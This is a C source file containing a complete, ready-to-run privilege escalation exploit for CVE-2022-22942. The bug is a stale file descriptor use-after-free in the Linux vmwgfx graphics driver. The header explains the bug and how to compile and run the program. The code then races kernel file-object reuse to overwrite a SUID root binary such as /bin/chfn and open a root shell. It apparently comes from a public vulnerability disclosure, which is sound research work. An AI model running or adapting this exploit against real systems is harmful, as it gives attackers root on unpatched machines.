601 lines
15 KiB
C
601 lines
15 KiB
C
/* The vmwgfx driver has a similar bug as the one we fixed last year in the
|
|
* nitro enclaves code (https://git.kernel.org/linus/f1ce3986baa6
|
|
* "nitro_enclaves: Fix stale file descriptors on failed usercopy").
|
|
*
|
|
* If the driver fails to copy the 'fence_rep' object to userland, it tries to
|
|
* recover by deallocating the (already populated) file descriptor. This is
|
|
* wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
|
|
* as the fd table slot was already populated via the previous call to
|
|
* fd_install(). This leaves userland with a valid fd table entry pointing to
|
|
* a free'd 'file' object.
|
|
*
|
|
* There are multiple ways to exploit this bug. A previous version of this PoC
|
|
* dumped the contents of /etc/shadow. This one overwrites a SUID root binary
|
|
* to pop a shell.
|
|
*
|
|
* Compile as:
|
|
* $ gcc -O2 cve-2022-22942-dc.c -o cve-2022-22942-dc
|
|
*
|
|
* Run as (and wait for the root shell to appear):
|
|
* $ ./cve-2022-22942-dc [target_file [temp_file [dev_node]]]
|
|
*
|
|
* Remarks:
|
|
*
|
|
* This POC assumes it has access to '/dev/dri/card0' which likely means the
|
|
* calling user needs to be part of the 'video' group.
|
|
*
|
|
* Alternatively '/dev/dri/renderD128' can be used (just pass the path as
|
|
* argument to ./cve-2022-22942-dc-dc), which, under Debian, means being part
|
|
* of the 'render' group.
|
|
*
|
|
* This bug was fixed by commit a0f90c881570 ("drm/vmwgfx: Fix stale file
|
|
* descriptors on failed usercopy"). It affected kernel versions v4.14-rc1 to
|
|
* v5.17-rc1.
|
|
*
|
|
* This is CVE-2022-22942.
|
|
*
|
|
* (c) 2022 Open Source Security, Inc.
|
|
*
|
|
* - minipli
|
|
*
|
|
* This program is free software; you can redistribute it and/or modify
|
|
* it under the terms of the GNU General Public License as published by
|
|
* the Free Software Foundation; either version 2 of the License, or
|
|
* (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program; if not, write to the Free Software
|
|
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <sys/sysmacros.h>
|
|
#include <sys/types.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/prctl.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/mman.h>
|
|
#include <unistd.h>
|
|
#include <stdbool.h>
|
|
#include <stdlib.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
#include <signal.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <sched.h>
|
|
#include <stdio.h>
|
|
#include <err.h>
|
|
|
|
/* uapi/drm/drm.h */
|
|
#define DRM_IOCTL_BASE 'd'
|
|
#define DRM_IOW(nr,type) _IOW(DRM_IOCTL_BASE,nr,type)
|
|
#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
|
|
#define DRM_COMMAND_BASE 0x40
|
|
|
|
#define DRM_IOCTL_VERSION DRM_IOWR(0x00, struct drm_version)
|
|
struct drm_version {
|
|
int version_major;
|
|
int version_minor;
|
|
int version_patchlevel;
|
|
size_t name_len;
|
|
char *name;
|
|
size_t date_len;
|
|
char *date;
|
|
size_t desc_len;
|
|
char *desc;
|
|
};
|
|
|
|
/* uapi/drm/vmwgfx_drm.h */
|
|
#define DRM_VMW_EXECBUF 12
|
|
#define DRM_VMW_EXECBUF_VERSION 2
|
|
#define DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD (1 << 1)
|
|
#define DRM_VMW_INVALID_CTX_HNDL (-1)
|
|
|
|
#define DRM_IOCTL_VMW_EXECBUF \
|
|
DRM_IOW(DRM_COMMAND_BASE + DRM_VMW_EXECBUF, struct drm_vmw_execbuf_arg)
|
|
struct drm_vmw_execbuf_arg {
|
|
uint64_t commands;
|
|
uint32_t command_size;
|
|
uint32_t throttle_us;
|
|
uint64_t fence_rep;
|
|
uint32_t version;
|
|
uint32_t flags;
|
|
uint32_t context_handle;
|
|
int32_t imported_fence_fd;
|
|
};
|
|
|
|
#define array_size(x) (sizeof(x)/sizeof*(x))
|
|
|
|
#define FENCE_REP_PTR 0x42
|
|
#define VMWGFX_DRV_NAME "vmwgfx"
|
|
#define VMWGFX_DEV "/dev/dri/card0"
|
|
#define NULL_DEV "/dev/null"
|
|
#define SUID_TARGET "/bin/chfn" // use /bin/chage for RHEL/CentOS
|
|
#define TEMP_FILE "/var/tmp/cake"
|
|
|
|
static char *suid_path = SUID_TARGET;
|
|
static char *temp_path = TEMP_FILE;
|
|
static char *dev_path = VMWGFX_DEV;
|
|
static char stale_fd_path[64];
|
|
|
|
static const void *prog_addr, *suid_addr;
|
|
static size_t prog_size, suid_size;
|
|
|
|
#define NUM_FILES 32
|
|
static int files[NUM_FILES];
|
|
|
|
static void open_files(const char *path, int flags, mode_t mode, bool temp) {
|
|
unsigned int i;
|
|
|
|
for (i = 0; i < array_size(files); i++) {
|
|
files[i] = open(path, flags, mode);
|
|
if (files[i] < 0)
|
|
err(1, "open('%s', %hx, %hx)", path, flags, mode);
|
|
|
|
if (temp) {
|
|
unlink(path);
|
|
|
|
if (ftruncate(files[i], prog_size))
|
|
err(1, "ftruncate()");
|
|
}
|
|
}
|
|
}
|
|
|
|
static void close_files(unsigned int except) {
|
|
unsigned int i;
|
|
|
|
for (i = 0; i < array_size(files); i++) {
|
|
if ((unsigned int)files[i] == except)
|
|
continue;
|
|
|
|
if (close(files[i]))
|
|
err(1, "close(fd=%d)", files[i]);
|
|
}
|
|
}
|
|
|
|
static int find_file(ino_t ino) {
|
|
struct stat buf;
|
|
unsigned int i;
|
|
|
|
for (i = 0; i < array_size(files); i++) {
|
|
if (fstat(files[i], &buf))
|
|
err(1, "stat(fd=%d)", files[i]);
|
|
|
|
if (buf.st_ino == ino)
|
|
return files[i];
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
static bool is_suid(const char *path) {
|
|
struct stat buf;
|
|
|
|
if (stat(path, &buf))
|
|
return false;
|
|
|
|
return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111;
|
|
}
|
|
|
|
static bool pin_cpu(int cpu) {
|
|
cpu_set_t cpus;
|
|
|
|
CPU_ZERO(&cpus);
|
|
CPU_SET(cpu, &cpus);
|
|
|
|
return !!sched_setaffinity(0, sizeof(cpus), &cpus);
|
|
}
|
|
|
|
static void *map_file(const char *path, size_t *len) {
|
|
struct stat sb;
|
|
void *addr;
|
|
size_t i;
|
|
int fd;
|
|
|
|
printf("[~] creating r/o mapping of %s...\n", path);
|
|
fd = open(path, O_RDONLY);
|
|
if (fd < 0)
|
|
err(1, "open(%s)", path);
|
|
|
|
if (fstat(fd, &sb))
|
|
err(1, "stat(%s)", path);
|
|
|
|
*len = sb.st_size;
|
|
addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0);
|
|
if (addr == MAP_FAILED)
|
|
err(1, "mmap(%s)", path);
|
|
|
|
/* fault in the pages to pre-load the binary */
|
|
for (i = 0; i < *len; i += 4096)
|
|
*(volatile char *)(addr + i);
|
|
|
|
close(fd);
|
|
|
|
return addr;
|
|
}
|
|
|
|
static int get_stale_fd(const char *dev_path) {
|
|
static char name[256], date[256], desc[256];
|
|
static struct drm_version drm_info = {
|
|
.name = name, .name_len = sizeof(name),
|
|
.desc = desc, .desc_len = sizeof(desc),
|
|
.date = date, .date_len = sizeof(date),
|
|
};
|
|
static struct drm_vmw_execbuf_arg exec_buf = {
|
|
.version = DRM_VMW_EXECBUF_VERSION,
|
|
.context_handle = DRM_VMW_INVALID_CTX_HNDL,
|
|
.flags = DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD,
|
|
.fence_rep = FENCE_REP_PTR,
|
|
};
|
|
static int vmw_fd = -1;
|
|
int fd;
|
|
|
|
if (vmw_fd < 0) {
|
|
printf("[~] vmwgfx setup using %s...\n", dev_path);
|
|
vmw_fd = open(dev_path, O_WRONLY);
|
|
if (vmw_fd < 0)
|
|
err(1, "open(%s)", dev_path);
|
|
|
|
if (ioctl(vmw_fd, DRM_IOCTL_VERSION, &drm_info) != 0)
|
|
err(1, "ioctl(DRM_IOCTL_VERSION) unexpectedly failed");
|
|
|
|
if (strcmp(drm_info.name, VMWGFX_DRV_NAME) != 0) {
|
|
errx(1, "wrong driver, should be '%s' but is '%s'",
|
|
VMWGFX_DRV_NAME, drm_info.name);
|
|
}
|
|
printf("[+] confirmed to be targeting the right driver\n");
|
|
}
|
|
|
|
fd = open(NULL_DEV, O_RDONLY);
|
|
if (fd < 0)
|
|
err(1, "open(%s)", NULL_DEV);
|
|
close(fd);
|
|
printf("[~] predicted fence fd = %d\n", fd);
|
|
snprintf(stale_fd_path, sizeof(stale_fd_path), "/proc/self/fd/%d", fd);
|
|
|
|
printf("[~] triggering fence fd export...\n");
|
|
if (ioctl(vmw_fd, DRM_IOCTL_VMW_EXECBUF, &exec_buf) != 0)
|
|
err(1, "ioctl(DRM_IOCTL_VMW_EXECBUF) unexpectedly failed");
|
|
|
|
return fd;
|
|
}
|
|
|
|
static bool check_fd(int fd, const char *path, ino_t *ino) {
|
|
char buf[1024];
|
|
struct stat sb;
|
|
ssize_t len;
|
|
|
|
/* Do non-faulting checks first -- using an invalid address ;) */
|
|
errno = 0;
|
|
if (write(fd, (void *)~0xdead, 42) >= 0 || errno != EFAULT)
|
|
return false;
|
|
|
|
/* We open the file with exactly these flags */
|
|
if ((fcntl(fd, F_GETFL) & O_RDWR) != O_RDWR)
|
|
return false;
|
|
|
|
len = readlink(stale_fd_path, buf, sizeof(buf) - 1);
|
|
if (len < 0)
|
|
return false;
|
|
|
|
buf[len] = '\0';
|
|
if (strncmp(buf, path, strlen(path)) != 0)
|
|
return false;
|
|
|
|
if (fstat(fd, &sb) != 0)
|
|
return false;
|
|
|
|
*ino = sb.st_ino;
|
|
|
|
return true;
|
|
}
|
|
|
|
static void __read_pipe(int fd, void *buf, size_t len, const char *what, const char *caller) {
|
|
ssize_t cnt;
|
|
|
|
cnt = read(fd, buf, len);
|
|
if (cnt < 0)
|
|
err(1, "%s: read(%s)", caller, what);
|
|
|
|
if (cnt == 0)
|
|
errx(2, "%s: read(%s) EOF, other side died?", caller, what);
|
|
|
|
if ((size_t)cnt != len)
|
|
errx(1, "%s: short read(%s): got %zd, want %zu", caller, what, cnt, len);
|
|
}
|
|
#define read_pipe(p,o) __read_pipe(p[0], &o, sizeof(o), #o, __func__)
|
|
|
|
static void __write_pipe(int fd, const void *buf, size_t len, const char *what, const char *caller) {
|
|
ssize_t cnt;
|
|
|
|
cnt = write(fd, buf, len);
|
|
if (cnt < 0)
|
|
err(1, "%s: write(%s)", caller, what);
|
|
|
|
if (cnt == 0)
|
|
errx(2, "%s: write(%s) EOF, other side died?", caller, what);
|
|
|
|
if ((size_t)cnt != len)
|
|
errx(1, "%s: short write(%s): got %zd, want %zu", caller, what, cnt, len);
|
|
}
|
|
#define write_pipe(p,o) __write_pipe(p[1], &o, sizeof(o), #o, __func__)
|
|
|
|
static void stale_fd_worker(int pipe[2]) {
|
|
bool write_ino = false;
|
|
int stale_fd = -1;
|
|
char state = '0';
|
|
ino_t ino;
|
|
|
|
do {
|
|
switch (state) {
|
|
case '0':
|
|
stale_fd = get_stale_fd(dev_path);
|
|
/* ensure an RCU GP has passed and the file was returned to the cache */
|
|
// usleep(150 * 1000);
|
|
sleep(1);
|
|
printf("[~] RCU GP passed and file object released -- by now or soon!\n");
|
|
state++;
|
|
break;
|
|
|
|
case '2':
|
|
printf("[~] probing stale fd for a match...\n");
|
|
if (check_fd(stale_fd, temp_path, &ino)) {
|
|
write_ino = true;
|
|
state++;
|
|
} else {
|
|
state--;
|
|
}
|
|
break;
|
|
|
|
case '4':
|
|
printf("[~] closing stale fd...\n");
|
|
/* This close will drop the reference of the mmap() of stage
|
|
* '3' and make its file pointer dangling.
|
|
*/
|
|
close(stale_fd);
|
|
|
|
/* ensure an RCU GP has passed and the file was released to the cache */
|
|
// usleep(150 * 1000);
|
|
sleep(1);
|
|
printf("[~] RCU GP passed and file object released again -- hopefully!\n");
|
|
state++;
|
|
break;
|
|
|
|
default:
|
|
errx(1, "%s: invalid state '%c'", __func__, state);
|
|
}
|
|
|
|
write_pipe(pipe, state);
|
|
if (write_ino) {
|
|
write_ino = false;
|
|
write_pipe(pipe, ino);
|
|
}
|
|
read_pipe(pipe, state);
|
|
} while (state < '6');
|
|
|
|
printf("[~] %s: done\n", __func__);
|
|
exit(memcmp(suid_addr, prog_addr, prog_size));
|
|
}
|
|
|
|
static void mmap_worker(int pipe[2]) {
|
|
bool files_open = false;
|
|
void *addr = NULL;
|
|
sigset_t set;
|
|
char state;
|
|
ino_t ino;
|
|
int fd;
|
|
|
|
do {
|
|
read_pipe(pipe, state);
|
|
|
|
switch (state) {
|
|
case '1':
|
|
if (files_open) {
|
|
files_open = false;
|
|
close_files(-1);
|
|
usleep(20 * 1000);
|
|
}
|
|
printf("[~] opening some r/w files for %s\n", temp_path);
|
|
open_files(temp_path, O_RDWR | O_CREAT | O_TRUNC, 0600, true);
|
|
files_open = true;
|
|
state++;
|
|
break;
|
|
|
|
case '3':
|
|
/* found it! */
|
|
read_pipe(pipe, ino);
|
|
|
|
fd = find_file(ino);
|
|
if (fd < 0) {
|
|
printf("[-] failed to find candidate with ino %#lx, retrying\n", ino);
|
|
state = '1';
|
|
/* no need to bounce, retry directly */
|
|
continue;
|
|
}
|
|
|
|
printf("[+] found match at fd %d\n", fd);
|
|
close_files(fd);
|
|
|
|
printf("[~] creating r/w mapping...\n");
|
|
addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
|
if (addr == MAP_FAILED)
|
|
err(1, "mmap()");
|
|
|
|
close(fd);
|
|
state++;
|
|
break;
|
|
|
|
case '5':
|
|
printf("[~] opening some r/o files for %s\n", suid_path);
|
|
open_files(suid_path, O_RDONLY, 0, false);
|
|
|
|
/* We hope to have reallocated the dangling file once more! */
|
|
printf("[*] trying to overwrite code in %s\n", suid_path);
|
|
memcpy(addr, prog_addr, prog_size);
|
|
//msync(addr, prog_size, MS_SYNC | MS_INVALIDATE);
|
|
printf("[~] %s: done\n", __func__);
|
|
state++;
|
|
break;
|
|
|
|
default:
|
|
errx(1, "%s: invalid state '%c'", __func__, state);
|
|
}
|
|
|
|
write_pipe(pipe, state);
|
|
} while (state < '6');
|
|
|
|
/* The 'addr' mapping is using a dangling file pointer, i.e. one with an
|
|
* off-by-one reference count. Terminating the process will thereby lead to
|
|
* a warning in the vfs code: "VFS: Close: file count is 0" or worse,
|
|
* tripping over DEBUG_LIST checks leading to an Oops.
|
|
*
|
|
* To avoid these, turn into a ghost, detach from the process hierachy and
|
|
* daemonize.
|
|
*/
|
|
//exit(memcmp(suid_addr, prog_addr, prog_size));
|
|
|
|
setsid();
|
|
|
|
close(0);
|
|
close(1);
|
|
close(2);
|
|
close(pipe[0]);
|
|
close(pipe[1]);
|
|
prctl(PR_SET_NAME, "bogeyman", 0, 0, 0);
|
|
|
|
sigfillset(&set);
|
|
sigprocmask(SIG_BLOCK, &set, NULL);
|
|
|
|
for (;;)
|
|
pause();
|
|
}
|
|
|
|
static void spawn_worker(void) {
|
|
int state_fd[2][2];
|
|
|
|
if (pipe(state_fd[0]) < 0 || pipe(state_fd[1]) < 0)
|
|
err(1, "pipe()");
|
|
|
|
switch (fork()) {
|
|
default:
|
|
close(state_fd[0][1]);
|
|
close(state_fd[1][0]);
|
|
stale_fd_worker((int [2]) { state_fd[0][0], state_fd[1][1] });
|
|
break;
|
|
|
|
case 0:
|
|
close(state_fd[0][0]);
|
|
close(state_fd[1][1]);
|
|
mmap_worker((int [2]) { state_fd[1][0], state_fd[0][1] });
|
|
break;
|
|
|
|
case -1:
|
|
err(1, "fork()");
|
|
}
|
|
|
|
/* not reached */
|
|
exit(1);
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
static const char proc_self_exe[] = "/proc/self/exe";
|
|
|
|
if (!getuid())
|
|
errx(1, "ahem...");
|
|
|
|
if (!geteuid()) {
|
|
setuid(0);
|
|
setgid(0);
|
|
execve("/bin/sh", (char *const []){ "-sh", NULL }, NULL);
|
|
err(1, "execve(%s)", SUID_TARGET);
|
|
}
|
|
|
|
if (argc >= 2)
|
|
suid_path = argv[1];
|
|
|
|
if (argc >= 3)
|
|
temp_path = argv[2];
|
|
|
|
if (argc >= 4)
|
|
dev_path = argv[3];
|
|
|
|
if (!is_suid(suid_path))
|
|
errx(1, "%s isn't suid root, choose another target", suid_path);
|
|
|
|
suid_addr = map_file(suid_path, &suid_size);
|
|
prog_addr = map_file(proc_self_exe, &prog_size);
|
|
|
|
if (suid_size < prog_size) {
|
|
errx(1, "size of %s too small, need %zuB, but only have %zuB",
|
|
suid_path, prog_size, suid_size);
|
|
}
|
|
|
|
/* Ensure all subprocesses share the same SLUB's partial lists */
|
|
if (pin_cpu(sched_getcpu()))
|
|
err(1, "failed to pin to CPU");
|
|
|
|
/* Span two subprocesses that lock step a state machine:
|
|
* P1: triggers the bug to get a stale fd entry
|
|
*
|
|
* P2: opens a bunch of r/w temporary files to reallocate the file object
|
|
*
|
|
* P1: checks if one of the fds reallocated the dangling file pointer and
|
|
* signals P2 which
|
|
*
|
|
* P2: creates a r/w mapping of the fd that matches the reallocated file
|
|
* pointer and closes all opened files
|
|
*
|
|
* P1: uses its stale fd entry to put the file attached to P2's mapping to
|
|
* make it dangling again
|
|
*
|
|
* P2: opens the target file r/o multiple times to reallocate the just
|
|
* released file object
|
|
* P2: copies this program over the previously created mapping (now
|
|
* pointing to the victim file instead of the temporary file)
|
|
*
|
|
* P1: signals success / failure to the observer by checking if the victim
|
|
* file was overwritten
|
|
*
|
|
* Wait for them to exit / die and check the return status. If it's zero,
|
|
* terminate the loop, we're done.
|
|
*/
|
|
|
|
/* Do the dirty work in subprocesses, to not accidentally die along */
|
|
printf("[~] spawning helper processes...\n");
|
|
switch (fork()) {
|
|
case -1: err(1, "fork()");
|
|
case 0: spawn_worker();
|
|
}
|
|
|
|
retry: /* Reap all the zombies... */
|
|
switch (wait(NULL)) {
|
|
case -1:
|
|
switch (errno) {
|
|
case EINTR: goto retry;
|
|
case ECHILD: break;
|
|
default: err(1, "wait()");
|
|
}
|
|
break;
|
|
default:
|
|
/* continue reaping... */
|
|
goto retry;
|
|
}
|
|
|
|
if (memcmp(suid_addr, prog_addr, prog_size))
|
|
errx(1, "failed to overwrite %s :(", suid_path);
|
|
|
|
printf("[$] success, spawning shell...\n");
|
|
|
|
/* Should be a suid root version of us by now */
|
|
execve(suid_path, (char *const []){ suid_path, NULL }, NULL);
|
|
err(1, "execve(%s)", suid_path);
|
|
|
|
return 0;
|
|
} |